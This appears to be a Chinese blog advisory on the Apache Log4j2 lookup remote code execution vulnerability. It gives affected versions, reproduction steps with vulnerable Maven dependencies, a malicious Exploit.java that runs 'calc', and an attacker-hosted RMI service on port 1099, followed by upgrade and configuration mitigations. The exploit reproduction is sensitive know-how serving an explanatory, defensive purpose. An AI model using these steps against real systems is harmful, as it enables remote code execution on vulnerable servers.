简介
近日, Apache Log4j 的远程代码执行漏洞细节被公开,该漏洞一旦被攻击者利用会造成严重危害。经过快速分析和确认,该漏洞影响范围极其广泛,危害极其严重,建议第一时间启动应急响应进行修复。
漏洞概述
Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。
影响范围
Apache Log4j 2.x <= 2.15.0-rc1
漏洞复现
1.环境搭建
创建一个新的maven项目,并导入Log4j的依赖包
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.11.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.11.0</version>
</dependency>
</dependencies>
2.漏洞利用,使用Log4jTest.java测试
3.编译一恶意类Exploit.class
首先新建Exploit.java,然后编译为class文件。
class Exploit {
static {
System.err.println("Evil has been there");
try{
String cmds="calc";
Runtime.getRuntime().exec(cmds);
}catch(Exception e){
e.printStackTrace();
}
}
}
4.黑客后台创建一个RMI服务,绑定Exploit,并执行开启1099监听端口
5.运行Log4jTest.java即可访问恶意类并执行写在其中的"calc"命令
修复方式
目前,Apache官方已发布新版本完成漏洞修复,建议用户尽快进行自查,并及时升级至最新版本:
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
建议同时采用如下临时措施进行漏洞防范:
-
添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;
-
在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;
-
JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
-
部署使用第三方防火墙产品进行安全防护。
参考链接:
https://www.bilibili.com/video/BV1FL411E7g3
https://mp.weixin.qq.com/s/AqbGHYHLhRemxmroi2W6Iw
技术交流
源码放在评论区
欢迎转载、收藏、有所收获点赞支持一下!